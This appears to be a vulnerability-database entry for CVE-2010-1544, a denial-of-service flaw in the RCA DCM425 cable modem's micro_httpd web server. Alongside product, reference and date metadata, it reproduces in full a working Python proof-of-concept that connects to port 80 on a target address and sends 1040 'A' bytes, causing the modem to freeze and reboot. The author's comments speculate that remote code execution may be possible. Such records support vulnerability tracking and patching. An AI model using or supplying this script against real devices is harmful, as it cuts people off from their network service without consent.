Details of VAR-E-201002-0132

ID

VAR-E-201002-0132

CVE

cve_id:

CVE-2010-1544

Trust: 1.9

sources: BID: 38488 // EXPLOIT-DB: 11597 // EDBNET: 35275

EDB ID

11597

TITLE

RCA DCM425 Cable Modem - 'micro_httpd' Denial of Service (PoC) - Hardware dos Exploit

Trust: 0.6

sources: EXPLOIT-DB: 11597

DESCRIPTION

RCA DCM425 Cable Modem - 'micro_httpd' Denial of Service (PoC). CVE-2010-1544CVE-62713 . dos exploit for Hardware platform

Trust: 0.6

sources: EXPLOIT-DB: 11597

AFFECTED PRODUCTS

vendor:	rca	model:	dcm425 cable modem	scope:	-	version:	-	Trust: 1.0
vendor:	rca	model:	digital cable modem dcm425	scope:	-	version:	-	Trust: 0.3

sources: BID: 38488 // EXPLOIT-DB: 11597

EXPLOIT

#!/usr/bin/python
# Title: RCA DCM425 Cable Modem micro_httpd DoS/PoC
# Date: 02/27/10
# Author: ad0nis ad0nis@hackermail.com
# Info: This script causes a Denial of Service on a DCM425 cable modem.
# Sending 1040 bytes causes a reboot of the device after a few seconds
# of it freezing up. I believe this may lead to remote code execution
# but I did not bother to test it further.

# By default, this cable modem has an IP address of 192.168.100.1

# There are two different but similar models of this router, the only
# difference I see between them is that one has an On/Off button on the
# front. The one I discovered this on is the one without a button. I
# have not tested this on the other model.

# Thanks to ShadowHatesYou for the inspiration to look closer at the
# little black box on my network.

import sys, socket
target = sys.argv[1]
buffer = ( "\x41" * 1040 )
print "Sending 1040 A's to" ,target, "on port 80\n"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target,80))
s.send(buffer)
s.close()

Trust: 1.0

sources: EXPLOIT-DB: 11597

EXPLOIT LANGUAGE

Trust: 0.6

sources: EXPLOIT-DB: 11597

PRICE

free

Trust: 0.6

sources: EXPLOIT-DB: 11597

TYPE

'micro_httpd' Denial of Service (PoC)

Trust: 1.0

sources: EXPLOIT-DB: 11597

CREDITS

ad0nis

Trust: 0.6

sources: EXPLOIT-DB: 11597

EXTERNAL IDS

db:	NVD	id:	CVE-2010-1544	Trust: 1.9
db:	EXPLOIT-DB	id:	11597	Trust: 1.6
db:	EDBNET	id:	35275	Trust: 0.6
db:	BID	id:	38488	Trust: 0.3

sources: BID: 38488 // EXPLOIT-DB: 11597 // EDBNET: 35275

REFERENCES

url:	https://nvd.nist.gov/vuln/detail/cve-2010-1544	Trust: 1.6
url:	https://www.exploit-db.com/exploits/11597/	Trust: 0.6
url:	http://home.rca.com/en-us/rcahome.html	Trust: 0.3

sources: BID: 38488 // EXPLOIT-DB: 11597 // EDBNET: 35275

SOURCES

db:	BID	id:	38488
db:	EXPLOIT-DB	id:	11597
db:	EDBNET	id:	35275

LAST UPDATE DATE

2022-07-27T09:48:06.635000+00:00

SOURCES UPDATE DATE

db:

BID

id:

38488

date:

2015-04-13T21:02:00

SOURCES RELEASE DATE

db:	BID	id:	38488	date:	2010-03-02T00:00:00
db:	EXPLOIT-DB	id:	11597	date:	2010-02-28T00:00:00
db:	EDBNET	id:	35275	date:	2010-02-28T00:00:00